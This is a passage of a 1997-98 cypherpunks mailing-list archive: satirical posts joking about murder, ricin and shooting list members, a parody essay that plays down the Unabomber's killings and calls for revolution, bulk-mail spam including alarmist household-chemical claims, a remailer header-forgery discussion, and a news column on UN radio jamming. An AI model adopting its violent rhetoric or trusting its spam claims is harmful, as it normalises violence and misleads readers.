inventory of my vehicle seems to provide substance to the growing 
thought that the circumstantial evidence against me outweighs the
loss of memory from the alcoholic delerium tremors.

  I seem to have my Opus SparCard II stuff from my pal at ASIX, which
would confirm the vandalism in Seattle.
  I've got payout tickets from the casino in Lake County, which means
the clipping about the flash bomb in Vallejo needs to be burned almost
immediately.
  I was convinced that I would be able to maintain deniability for 
the torching by the Dumbarton bridge, until I realized that the Master
Tapes for "My Way or the Highway" and "Please! Stop Me Before I Sing
Again" must have been picked up from Arcal, in Redwood City.
  I have no fucking idea whose butt that is sticking out of the shallow
grave in my sister's back yard, but since it has my name tatto'd on
it, I assume I'll be on a backroad headed toward Canada very, very
shortly.

  Anyway, I suppose it is proper serial killer etiquette to provide
a legitimate death threat once my travel plans back to CanuckLand are
in place, so I will try to drop one in the email on the return trip.
  Actually, you should probably invite all of the major players from
the Corporate Micro$not Ba$hing Bowl (TM) by Ralphie, et al, to your
place for a "Peace Conference" during my return trip, and then spend
most of your time in the underground bunker playing cards with the
Reptilian Nazi's, or something. To tell the truth, I'd just as soon
snuff those whining fuckers on this trip, anyway, and Seattle's a
nice town, so I wouldn't mind making an extra trip in the future,
anyway.

  Shit!
  I just remembered that TeddyK's trial is in Sacramento, not Vallejo.
I probably ought to do this shit when I'm sober. Hell, I might end up
actually hitting my target, for a change, instead of just another in
a series of random, innocent bystanders.
  I think this potato salad's starting to go bad...which container
did I put the rincin in? Shit...I'd better go put some alcohol in
my system, just in case...

TootMonger
"Smoking Prudentially since 1991."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bezerkeley Nutly News <cnn@dev.null>
Date: Sat, 10 Jan 1998 19:56:20 +0800
To: cypherpunks@toad.com
Subject: Anger Crimes Up 442% In Bay Area
Message-ID: <34927314.21AC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[Bezerkeley Nutly News: Special Report by Defcon McCullagh Chainsaw]
AT AN EMERGENCY CYPHERPUNKS PHYSICAL MEETING AT THE W&S TAVERN AT 
5 a.m. in south Berkeley this morning, a lone gunman held police at
bay for several hours before escaping with a carton of cigarettes and
several bottles of cheap scotch.
While W&S Tavern owners explained to reportwhores that they had no 
plans to seek charges against the unknown gunman, since he used to be 
a regular customer and a good tipper, a police spokesperson told the
same reportwhores, under promise of UnAnonymity, that they would be
seeking the death penalty for the gunman, if caught, under the recent
Criminal Emotions legislation passed last week by the Politically 
Correct Peephole's Party at a recent Bezerkeley City Council meeting.

"Although the PCP leaders have only had time to train and deploy a few
hundred volunteers trained to recognize the signs of the new Criminal
Emotions," said Anonymous Badge #356, "it has already become apparent
that Anger and Negative Attitude crimes are skyrocketing out of control
in the Bay Area."
"The physical gunshot wounds suffered by several officers tonight will
heal, with time," the gender-neutral individual continued, in a monotone
voice, "but the anger expressed toward them by the gunman will remain
with them forever, or until the gunman apologizes, if caught."

Several hundred Postal Workers have already been detained and sent for
pschological testing in the Berkeley area under the strict new laws
governing restriction of expressions of disgruntlement within 500 feet
of a mailbox by federal postal employees.
A US Postal Service spokesperson told reportwhores, "I'm certainly not
happy about this..." and was immediately arrested and whisked away by
a group of homeless people helping to enforce the new legislation in
return for Bezerkeley City Council's promise to add shopping cart lanes
next to the current bike lanes on city streets.
A member of "The Disgruntled Postal Workers", a Tucson-based muscial 
group exempted from the new legislation under the "artistic license"
provisions, said, as he went through the pockets of the dead fans who
failed to escape during the climax of the performance, "I think the
gunman at the W&S Tavern was a member of 'The Angry Young Men' who
opened for us, so it is unlikely any charges can be laid in the 
incident, unless he actually smoked some of the cigarettes in the
bar during the shooting spree."

The owner of the W&S Tavern, when asked by reportwhores if he was
unhappy with the damage done to the bar during the shootout, consulted
briefly with his attorneys regarding the new Criminal Emotion laws
in the Berkeley area, and replied, "No. I'm perfectly happy with the
situation."
A nearby Berkeley policeman immediately shot down the bar owner, saying,
"He looked a little *too* happy, if you ask me." The attorneys merely
shrugged as the man lay dying on the sidewalk, telling reportwhores,
"The laws are clearly written not to allow deviation of emotionally 
legal expression too far in *any* direction, and we find that to be...
uuhhh...acceptable."

Every bar owner contacted by this reportwhore in regard to the new
law prohbiting drinking, as well as smoking, in Bay Area bars, said
that they were "cautiously optomistic" that their business would not
suffer as a result of the legislation.
"What we lose in volume, we can make up with lower overhead costs by
not needing to stock any of the products we sell." said one bar owner
as she placed a 'For Sale' sign in the front window.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sacramento Nutly News <snn@dev.null>
Date: Wed, 14 Jan 1998 17:34:45 +0800
To: cypherpunks@toad.com
Subject: Jailhouse Rock
Message-ID: <34979907.AD7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[SACRAMENTO NUTLY NEWS--byline Chainsaw McCullagh]IN AN EXCLUSIVE
interview at the Sacramento County Jail, former UC-Bezerkeley math
professor, Theodore "Don't Call Me Teddy" Kaczynski, spoke (on the
condition that his anonymity would be preserved) to a Nutly News
reportwhore, a drug-smuggling prison guard, and a few inmates sharing
a crack pipe in an adjoining cell.
"Selective prosecution...", Kaczynski said, pausing to let the Nutly
News reportwhore pass the pipe back to the far side of the cell bars,
and turn on his tape recorder.

"Selective prosecution," TK continued, "will be the basis of the
defense I plan to raise."
"A defense," he added, "which I expect will help to swing public support
over to my side during my trial and subsequent execution."

Seeing the skeptical glances exchanged between the reportwhore, the
guard, and the crackheads in the adjoining cell, Kaczynski proceeded
to explain that the American public was growing increasingly tired of
sacrificial lambs being thrown to the prosecutorial wolves on the basis
of patently illegal discrimanitory prejudices.
"Allowing Bad BillyC in WashDC,
 To walk free around town,
 Despite Foster and Brown..."
Kaczynski rapped, until noticing the icy glares from the pigmentation
criminals in the next cell, then continuing in a normal cadence, "...is
one thing, but prosecuting the mother of the fat broad for child abuse,
while allowing Karen Carpenter's mother to walk..."

The reportwhore and the jail guard, passing the crack pipe back and
forth, also passed a glance that confirmed they were beginning to see
the true danger involved in allowing TeddyK a legitimate trial.
The whole American justice system was based on the outcome of the case
being pretty well set in stone by the time it reached a jury, if a
trial became unavoidable. The jury rigging process and the pretrial
motions were comparable to the bidding in a bridge game, with the
actual playing of the cards during the trial being mostly for show.
Of course, in high-profile cases that are a must-win for government
prosecutors and their behind-the-scenes handlers, the bidding process
is mostly to decide how much the defendant's lawyers will be compensated
for selling their client quietly down the river.

McVeigh's lawyers got $15 million and a guarantee of future government
largess, in return for making certain that their client got a defense
that most people wouldn't find acceptable if it were their dog that was
facing being 'put down' by the Feds. Legal rulings by the judge were
geared toward allowing the defense team the freedom to use any tactic
or evidence which would not help their client's case, or hurt the
government's case.
Nichol's trial was geared toward actually allowing the defense team to
present a moderately legitimate defense, to preserve the pretense of
justice, while risking little chance of justice ultimately triumphing.
Kaczynski's trial was slated to be another quick and easy slam-dunk,
with the legal eagles moving their playing pieces around in a grand
game designed to ensure everyone's future reputation and earning power
while maintaining the charade that Truth and Justice still play some
minor part in the whole process.

The key to the House of Cards known as the American Judicial System,
however, is convincing the defendant and/or the public, that the game
is not totally rigged from beginning to end.
When either the defendant or the jury cannot be controlled, the House
of Cards begins tumbling rather rapidly.
The key to controlling the defendant is to convince him/her that their
legal representatives are sincerely acting in their client's best 
interest, and are not selling him/her out, in the slightest way, in
order to further their career and guarantee not missing their tee-time
for their afternoon golf game with the prosecutor.
The key to controlling the jury is to make certain that they are not
allowed to view any evidence, or hear any point of view, which runs
contradictory to the outcome which has been preordained by following
'established legal procedure.'

The danger is not in Theodore Kaczynski claiming innocence...the danger
is in him questioning why he, McVeigh and Bell are being prosecuted,
while Clinton, Nixon and Bush were/are not.
The danger is in him asking why the mother of the girl who died of
Chatelaine-Incorrect obesiety is a criminal worthy of prosecution,
while the mother of the girl who died of BarbieDoll-Approved anorexia
is guilty of NoCrime. The danger is in asking why a teenage foreigner
was prosecuted for not recognizing the signs of a broken wrist and
a cracked skull in a child, while the parents, trained adult physicians,
were not. The danger is in TK asking why tobacco executives, known to
have participated in the deaths of millions are allowed to buy their
way out of prosecution, while TimmyM and TeddyK are not.

The danger is in Terrible TeddyK exercising his freedom of speech and 
raising socially inacceptable questions during defense of his actions.

There is not a day that goes by that someone in America does not kill
more people than TK ever dreamed of--individuals, government bureaucrats
or corporate executives.
The danger is not in Kaczynski proclaiming his innocence, the danger is
in him saying, "So the fuck what? It's a predatorial universe. I'm a
small fry with a large mouth. The average citizen has killed more people
than me just by keeping their mouth shut and enjoying their share of
the booty from the murders committed by the government and corporations
that the sheeple count on to do their stealing for them."

The danger is in arch-demon, Terrible TeddyK, being allowed a free voice
to demand being tried alongside the US government soldier who fired a
burst of taxpayer-supported bullets into the body of a Somalian mother
with her baby in her arms, defending her home against assault by armed
forces of foreign governments.

The danger that Theodore Kaczynski presents is the same danger which
James Dalton Bell represented--unfettered free-speech--uncontolled 
sound-bytes--a non-approved view of reality.
The plain fact is that the world-view sold to us by those who control
the mainstream media is so far out of whack with reality that it cannot
even withstand verbal assault by StinkBombers, let alone UnaBombers.

Who is Theodore Kaczynski?
He is a man who has murdered fewer people than Winnie Mandela and 
countless other 'world leaders'. He is a man who has murdered fewer
people than your average street gang leader. He is a man who has
murdered fewer people than me--and, quite possibly, you.
He is a dangerous man--a man who can't be bought.
He is a man whom the government portrayed as someone who must--and who
would--be justifiably put to death, after a 'fair' trial. A man who is
now being offered a 'plea bargain' for the simple reason that he has
demanded his right to speak in his own defense.
That cannot be allowed in a judicial system that is built on a House
of Cards that depends on its survival for all of the players to tread
lightly around the thin walls of reality on which Justice in America
is built.

The final irony, of course, is that Terrible TeddyK, who only killed
a couple of people, was parlayed into a major threat to world peace
and individual security by the very people who now wish that they
could dismiss him as mentally unstable, for the purpose of allowing
him free speech, but mentally responsible, for the purpose of holding
responsible for his actions.
The final irony is that, in declaring Terrible TeddyK sane enough to
execute, their is a danger in portraying him as sane enough to listen
to. And the true danger of free speech is that someone may be listening.

The final irony is that we, as a society, have deemed that we cannot
execute those who are mad, but only those who are sane. We can only
hold them responsible if their speech and actions are sane.
Snell, Kaczynski, Jesus, TruthMonger...all present the same problem. 
We can confine them in the rubber-room, or hang them on the cross, but
in doing so, we risk validating the truths they claim to speak.

The danger is not in the warning contained in their speech--"Don't
look back, something might be gaining on you."
The danger is that someone--McVeigh, Gus-Peter, Saint Peter, A Cypher-
Punk To Be Named Later--might be listening.
The danger is that it does not matter if it is McVeigh, with a ton
of fertilizer, saying "Something 'big' is going to happen.", or Bell,
with a bottle of mercetan, saying, "Something 'small' is going to 
happen." What matters is that those who have heard and acted on the
admonition, "Lock and Load!", are in a position to hear and act on
the proclamation that "The Revolution is NOW!"

The problem of Theodore Kaczynski will have to be resolved through
execution, suicide, or dismissal as a madman.
The problem of Clinton, Reno, Mandella, you and I...that will have
to be resolved through the denial represented by selective prosecution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nimark@mailexcite.com
Date: Mon, 1 Dec 1997 08:28:42 -0800 (PST)
To: nimark@mailexcite.com
Subject: Re: how's it going?
Message-ID: <2.0.32.19328261102482318.006216328@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

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    business or web page to over 250,000 PEOPLE PER DAY?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Mon, 1 Dec 1997 07:05:39 -0800 (PST)
To: Lance Cottrell <loki@infonex.com>
Subject: Re: Pasting in From:
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <Pine.LNX.3.94.971201095438.6085P-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Nov 1997, Lance Cottrell wrote:

> The risks of allowing pasted From: lines far outweigh the benefits. Pasting
> of From lines makes remailer operators much more vulnerable to charges of
> fostering forgery rather than simple anonymity.
> 
> Spam baiting is another obvious risk. Forged postings with deplorable
> content will bring down retribution on the forgery victim. Forged From
> lines can also be used to subscribe victims to thousands of mailing lists.
> 
> The uses of this "feature" can be duplicated with other mechanisms such as
> nym-servers, which provide persistent unique From lines without the
> possibility of forgery of arbitrary addresses. Users desiring greater
> security can simply point the reply capability of the nym server at the
> nearest /dev/null.

I've said all of this before myself, and still people want it. So there
will be two safeguards which should prevent the aforementioned problems:

1) The From: address on USENET posts will be mangled a la mail2news_nospam
to prevent spam baiting. Most of the posts I see with pasted From: lines
(from replay, in alt.privacy.anon-server) use a fake address and aren't
trying to impersonate anyone. 

2) Whenever a From: line is pasted, a disclaimer will be inserted at the
top of the body, stating that the original sender has set the From: line,
and that the identification cannot be verified. The fact that it is up at
the top of the body should mean people should actually see it before
reacting.

3) As someone else has suggested, it does indeed insert a Sender: header
with the remailer's address.

Two basic points also about "forgeries". First, you can forge headers
pretty easily without any programs other than telnet. Second, if this
actually does become misused frequently, all I need to do is delete one
character from one file (a # in headers.del) and it will be disabled. I
consider this an experimental feature, and if it doesn't work out, I'll
just turn it back off.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 20145708@juno.com
Date: Tue, 2 Dec 1997 10:13:27 -0800 (PST)
To: mailsubs@hotmail.com
Subject: ===BULK E.MAIL 27 MILLION HOMES===
Message-ID: <(2cust86.max8.tampa.fl.ms.uu.net[154.15.136.45])withSMPTid RAA15607>
MIME-Version: 1.0
Content-Type: text/plain


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----------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 47058560@compuserve.com
Date: Tue, 2 Dec 1997 15:14:02 -0800 (PST)
To: 3221422@compuserve.com
Subject: Email your AD to 57 MILLION People for ONLY $99
Message-ID: <221531531352.CAA25231@mkkkdtinggs.com>
MIME-Version: 1.0
Content-Type: text/plain


Email your AD to 57 MILLION People for ONLY $99  
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    57 MILLION EMAILS FOR ONLY $99 
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If you want to be removed from our mailing list just send a email here














57 million plus mailing program for only $99





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janey@wannaplay.com
Date: Tue, 2 Dec 1997 21:49:24 -0800 (PST)
To: janey@wannaplay.com
Subject: Free Live Sex!
Message-ID: <0000000000.AAA000@wannaplay.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M4f7mtcED@juno.com
Date: Wed, 3 Dec 1997 01:47:28 -0800 (PST)
To: Get-The-Word-Out@pobox.com
Subject: Make More Sales!
Message-ID: <Mr01Hc8ASu9q>
MIME-Version: 1.0
Content-Type: text/plain



Make More Sales!!!
******************************************************************

Your product, service, information, opportunity can be
seen by thousands or even millions in just days!

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		  10,000  emails $50
		  25,000  emails $55
		  50,000  emails $65
		  100,000 emails $115
		  150,000 emails $145
		  200,000 emails $195
		  300,000 emails $250


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30





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 03129704com2@tmi-osm.net
Date: Wed, 3 Dec 1997 08:15:32 -0800 (PST)
To: Friend@public.com
Subject: Delete if you do NOT have or plan to have a webpage.
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





Online Sales & Marketing (OSM) would like your assistance 
With an Internet marketing survey. Your assistance would be greatly appreciated.       
Please go to:

	http://www.osmweb.net/survey2.htm


------------------------------------------------------------------------------------------------
We believe in free speech and responsible online
Mass marketing. To be removed from all future mailings
correctly, please send remove request to:

                  remove@tmi-osm.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 93704355@08177.com
Date: Wed, 3 Dec 1997 08:02:31 -0800 (PST)
To: Friend@public.com
Subject: Delete if you do NOT have or plan to have a webpage.
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





Online Sales & Marketing (OSM) would like your assistance 
With an Internet marketing survey. Your assistance would be greatly appreciated.       
Please go to:

	http://www.osmweb.net/survey2.htm


------------------------------------------------------------------------------------------------
We believe in free speech and responsible online
Mass marketing. To be removed from all future mailings
correctly, please send remove request to:

                  remove@tmi-osm.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Wed, 3 Dec 1997 17:57:10 -0800 (PST)
To: privileged-itar@toad.com
Subject: Bernstein argument is in Courtroom 1
Message-ID: <199712040125.RAA16414@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi everyone,

This is just to confirm that the Bernstein oral argument is scheduled in
Courtroom 1 of the 9th Circuit building.  The address is 95 Seventh Street,
San Francisco.

See ya there,

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shop@ns.alpina1.net
Date: Wed, 3 Dec 1997 20:28:43 -0800 (PST)
To: shop@ns.alpina1.net
Subject: Qualified Traffic Key to Toys..
Message-ID: <199712040300.VAA28943@mercury.gmds.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webbiz@MCI2000.com
Date: Thu, 4 Dec 1997 18:50:03 -0800 (PST)
To: webbiz@MCI2000.com
Subject: [Fwd:  Please Read This!]
Message-ID: <01IQSHNLVQO6004GW1@MAIL-RELAY.PCY.MCI.NET>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CallNow@1-800-493-2328Ext116771
Date: Fri, 5 Dec 1997 00:07:09 -0800 (PST)
To: WiseFolks@UwiseFolk.com
Subject: - FREE Vitamins & Business -
Message-ID: <32610508_10699447>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CallNow@1-940-383-1233
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To: WiseFolks@UwiseFolk.com
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Message-ID: <80418673_61901004>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: GreatTunes2@ar.net
Date: Fri, 5 Dec 1997 02:08:18 -0800 (PST)
To: GreatTunes2@ar.net
Subject: A great Christmas gift for less than $20.
Message-ID: <19971205332VAA45009@post.211.3.7>
MIME-Version: 1.0
Content-Type: text/plain


(This is a one-time mailing.   Removal request not necessary.)

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</PRE></HTML>
c




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DaveL@classifiedcentral.com (Dave Legassi)
Date: Sat, 6 Dec 1997 02:24:34 -0800 (PST)
To: dave@classifiedcentral.com
Subject: FYI
Message-ID: <19971205175924437.AWD271@classifiedcentral.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@planet-solutions.com
Date: Sat, 6 Dec 1997 00:08:10 -0800 (PST)
To: info@planet-solutions.com
Subject: Household toxins
Message-ID: <199712060808.AAA22584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


TOP "10" KILLER HOUSEHOLD CHEMICALS

AIR FRESHENERS:  Most air fresheners interfere with 
your ability to smell by coating your nasal passages 
with an oil film, or by releasing a nerve deadening agent.
Known toxic chemicals found in an air freshener:
       Formaldehyde:  Highly toxic, known carcinogen.
       Phenol:  When phenol touches your skin it can 
       cause it to swell, burn, peel, and break out in 
       hives. Can cause cold sweats, convulsions, 
       circulatory collapse, coma and even death!!

AMMONIA:  It is a very volatile chemical, it is very 
damaging to your eyes, respiratory tract and skin.

BLEACH:  It is a strong corrosive. It will irritate or 
burn the skin, eyes and respiratory tract. It may cause 
pulmonary edema or vomiting and coma if ingested.  
WARNING: never mix bleach with ammonia it may cause fumes
which can be DEADLY.

CARPET AND UPHOLSTERY SHAMPOO:  Most formulas are 
designed to over power the stain itself, they 
accomplish the task but not without using highly toxic 
substances. Some include:
      Perchlorethylene: Known carcinogen damages liver,
      kidney and nervous system damage.
      Ammonium Hydroxide: Corrosive, extremely irritable 
      to eyes, skin and respiratory passages.

DISHWASHER DETERGENTS: Most products contain chlorine 
in a dry form that is highly concentrated. # 1 cause of 
child poisonings, according to poison control centers.

DRAIN CLEANER:  Most drain cleaners contain lye, 
hydrochloric acid or trichloroethane.
      Lye: Caustic, burns skin and eyes, if ingested will
      damage esophagus and stomach.
      Hydrochloric acid: Corrosive, eye and skin irritant,
      damages kidneys, liver and digestive tract.
      Trichloroethane: Eye and skin irritant, nervous 
      system depressant; damages liver and kidneys.

FURNITURE POLISH:
      Petroleum Distillates: Highly flammable, can cause
      skin and lung cancer.
      Phenol: (see Air fresheners, Phenol.)
      Nitrobenzene: Easily absorbed through the skin,
      extremely toxic.

MOLD AND MILDEW CLEANERS: Chemicals contained are:
      Sodium hypochlorite: Corrosive, irritates or burns 
      skin and eyes, causes fluid in the lungs which can 
      lead to coma or death. Formaldehyde: Highly toxic, 
      known carcinogen. Irritant to eyes, nose, throat, 
      and skin. May cause nausea, headaches, nosebleeds, 
      dizziness, memory loss and shortness of breath.

OVEN CLEANER: 
      Sodium Hydroxide (Lye):  Caustic, strong irritant, 
      burns to both skin and eyes. Inhibits reflexes, 
      will cause severe tissue damage if swallowed.

ANTIBACTERIAL CLEANERS: may contain:
      Triclosan: Absorption through the skin can be tied to
      liver damage.

LAUNDRY ROOM PRODUCTS:
      Sodium or calcium hypocrite: Highly corrosive, 
      irritates or burns skin, eyes or respiratory tract.
      Linear alkylate sulfonate: Absorbed through the skin.
      Known liver damaging agent.
      Sodium Tripolyphosphate: Irritates skin and mucous 
      membranes, causes vomiting.  Easily absorbed through 
      the skin from clothes.
	
 
TOILET BOWL CLEANERS:
      Hydrochloric acid: Highly corrosive, irritant to 
      both skin and eyes. Damages kidneys and liver.
      Hypochlorite Bleach:  Corrosive, irritates or burns 
      eyes, skin and respiratory tract. May cause pulmonary 
      edema, vomiting or coma if ingested. Contact with 
      other chemicals may cause chlorine fumes which may 
      be fatal.

OTHER NASTY THINGS THAT ARE AROUND YOUR HOME

PESTICIDES:  Most pesticides have ingredients that affect 
the nervous system of insects. Imagine what these extremely
poisonous chemicals do to your body. or your baby's.
      Dimpylate: Better known as Diazinon, extremely toxic.
      Impairs the central nervous system.
      Chlorinate Hydrocarbons: Suspected carcinogen and 
      mutantagen.
      Accumulates in food and in fatty tissue. Will attack 
      the nervous system.
      Organophosphates: Toxic and poisonous. If you can
      smell it, your lungs are absorbing it.
	
FLEA POWDERS:  Why put toxins on "man's (or woman's) best 
      friend."
      Carbaryl: Very toxic, causes skin, respiratory and 
      cardiovascular system damage.
      Chlordane: Accumulates in the food chain, may damage
      eyes, lungs, liver, kidney and skin.
      Dichlorophene: Skin irritation: May damage liver, 
      kidney, spleen and central nervous system.

LICE SHAMPOO: Especially vulnerable are children.
      Lindane: Inhalation, ingestion, or ABSORPTION through 
      the SKIN causes vomiting, diarrhea, convulsions and 
      circulatory collapse. May cause liver damage, 
      stillbirths, birth defects and cancer.
	
CAR WASH AND POLISH:
     Petroleum Distillates: Associated with skin and 
     lung cancer, irritant to skin, eyes, nose and lungs. 
     Entry into the lungs may cause fatal pulmonary edema, 
     most marked Danger, Harmful or Fatal.

TAR AND BUG REMOVER: Contains XYLENE and PETROLEUM DISTILLATES.

As you become more aware, you will realize that YOU 
have to make the first step.  YOU have a responsibility to 
tell your friends, neighbors, and relatives to stop using
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: works4me@ix.netcom.com
Date: Fri, 5 Dec 1997 23:15:13 -0800 (PST)
To: Friend@public.com
Subject: Get Your FREE Web Page Now!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Join Now! Tony Little Starts His Informercial in Just A Few weeks!  Email
Me For Your Own Free Self-Replicating Web Page.  No start up cost and pay
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Reichenbach <annapi@cts.com>
Date: Sat, 6 Dec 1997 10:35:20 -0800 (PST)
To: believer@telepath.com
Subject: Re: IP: U.N. Hate-Radio Jamming Would Send Wrong Signal
In-Reply-To: <199712031735.LAA27232@telepath.com>
Message-ID: <34899ACB.E4B1A76A@cts.com>
MIME-Version: 1.0
Content-Type: text/plain


Notice the Double Speak in the LA Times article below?

    What is taking place in Bosnia is Exactly the same thing
(Censorship) as the writer of the article is expressing concern about.
It is exactly the same conduct that the two NWO Stooges Metzl and Rep
Royce so enthusiastically endorse. It is only a question of whose ox is
being gored.

William


"Indeed, the United States and its allies are conducting a somewhat
similar
operation in Bosnia. Two months ago, NATO troops seized and effectively
shut
down a station run by hard-line Bosnian Serb forces after the station
broadcast inflammatory attacks on NATO forces trying to keep the peace
there.

But it's a long step to go from these situations to the creation of a
permanent, formal unit run by the United Nations and scouring the world
in
search of radio broadcasts to jam. "


believer@telepath.com wrote:

> >From the Los Angeles Times:
>
> Wednesday, December 3, 1997
>
>   INTERNATIONAL OUTLOOK
>   U.N. Hate-Radio Jamming Would Send Wrong Signal
>   By JIM MANN
>
> WASHINGTON--In foreign policy, sometimes the noblest of intentions
> leads to
> lousy ideas.
>
> That's certainly the case with the recent curious proposal for a
> special
> United Nations "jam squad"--a special U.N. team that could be
> hurriedly
> dispatched to crisis points around the world carrying equipment to
> jam, or
> block, harmful radio and TV broadcasts.
>
> Writing in the current issue of "Foreign Affairs" magazine, Jamie M.
> Metzl,
> a former United Nations human rights officer, proposes the creation of
> what
> would officially be called an "independent information intervention
> unit" at
> the U.N.
>
> Its goal, he writes, would be "countering dangerous messages that
> incite
> people to violence." A U.N. unit could monitor local news media to see
> where
> crises might erupt, air its own messages of peace and, where
> necessary,
> prevent other radio or TV broadcasts from being heard.
>
> The idea for the U.N. jam squad originated in the genocidal horrors of
>
> Rwanda. In 1994, the country's main radio station, the
> Radio-Television
> Libre des Milles Collines, then controlled by Hutu extremists, began
> broadcasting hate messages targeting members of the rival tribe, the
> Tutsis,
> and moderate Hutus.
>
> The Rwanda station even broadcast lists of enemies to be hunted down.
> "Take
> your spears, clubs, guns, swords, stones, everything, sharpen them,
> jack
> them, those enemies, those cockroaches," the station urged listeners.
> The
> result was one of the world's worst blood baths, in which more than
> 500,000
> unarmed Tutsis and moderate Hutus were slaughtered.
>
> This was, certainly, as compelling a case for jamming as you can get.
> And
> Metzl has one cogent argument on behalf of his proposal: When there's
> an
> ethnic conflict in a place like Rwanda, sending in a United Nations
> jamming
> team would be considerably easier and less costly than sending in
> troops.
>
> "I think it's a worthy idea," says Rep. Edward R. Royce (R-Fullerton),
>
> chairman of the House International Relations subcommittee on Africa.
> "I'm
> sure we would try to go out and jam [in Rwanda] if those circumstances
> came
> up again."
>
> Indeed, the United States and its allies are conducting a somewhat
> similar
> operation in Bosnia. Two months ago, NATO troops seized and
> effectively shut
> down a station run by hard-line Bosnian Serb forces after the station
> broadcast inflammatory attacks on NATO forces trying to keep the peace
> there.
>
> But it's a long step to go from these situations to the creation of a
> permanent, formal unit run by the United Nations and scouring the
> world in
> search of radio broadcasts to jam.
>
> Who would determine exactly what kinds of radio programs should be
> blocked
> and which programs could be aired? What would ensure that the jamming
> decisions were not motivated by politics? Wouldn't the creation of
> such a
> United Nations operation strengthen the hand of governments that want
> to jam
> radio transmissions for much less noble reasons?
>
> "This opens up a Pandora's box, really," says Richard Richter, the
> director
> of Radio Free Asia, the federally funded station that broadcasts into
> Asian
> countries with repressive governments. "You'd have China claiming that
> we
> [American broadcasts] should be jammed by the United Nations."
>
> Ultimately, a U.N. jamming squad would give official sanction to
> restrictions on the free flow of information. Metzl's article has a
> response
> to this problem, but it's a weak one.
>
> "During the Cold War, when the United States faced a Soviet adversary
> intent
> on jamming the Voice of America and Radio Free Europe . . . , it made
> sense
> for the United States to promote an absolute standard for the free
> flow of
> information," he wrote. "Now, a more nuanced view should be possible."
>
> But that's precisely backward: The free flow of information wasn't
> merely a
> temporary means to winning the Cold War, but one of the goals of the
> endeavor.
>
> Although the problem of hate-filled radio broadcasts is a serious one,
> there
> are ways of dealing with it that don't involve creating some huge,
> supranational censorship unit.
>
> One alternative is simply to provide other, competing radio
> broadcasts. In
> Rwanda, for example, the United Nations set up its own radio stations,
> both
> in the capital of Kigali and in radio camps.
>
> Royce's subcommittee has been exploring the possibility of creating a
> Radio
> Free Africa, similar to Radio Free Europe, Radio Free Asia and Radio
> Marti,
> which broadcasts to Cuba.
>
> There are serious questions about whether such a new organization is
> necessary, when VOA, the official U.S. government station, already
> broadcasts intensively into Africa. But the underlying idea makes
> sense: to
> transmit better, more accurate information to Africa, rather than
> focusing
> on jamming or censorship.
>
> There are other ways of combating hate radio too. Those who directly
> incite
> violence over the airwaves can be brought to justice. At the moment, a
>
> war-crimes tribunal, set up under U.N. auspices, is prosecuting those
> responsible for the massacres in Rwanda. Among the suspects in custody
> are
> some of those responsible for the Milles Collines radio broadcasts.
>
> But a worldwide, U.N.-run jamming team? As a Hollywood script, maybe
> the
> idea has possibilities. As foreign policy, it's a loser.
>
>  Jim Mann's column appears in this space every Wednesday.
>
>  Copyright Los Angeles Times
>
>
>
> **********************************************
> To subscribe or unsubscribe, email:
>      majordomo@majordomo.pobox.com
> with the message:
>      subscribe ignition-point email@address
> or
>      unsubscribe ignition-point email@address
> **********************************************
> http://www.telepath.com/believer
> **********************************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: UFy5Pi7z6@top1story.net
Date: Sat, 6 Dec 1997 11:59:45 -0800 (PST)
To: gifts4@theholidays.com
Subject: Gifts for the Holidays
Message-ID: <l4pnR8EF9Zm2vj5>
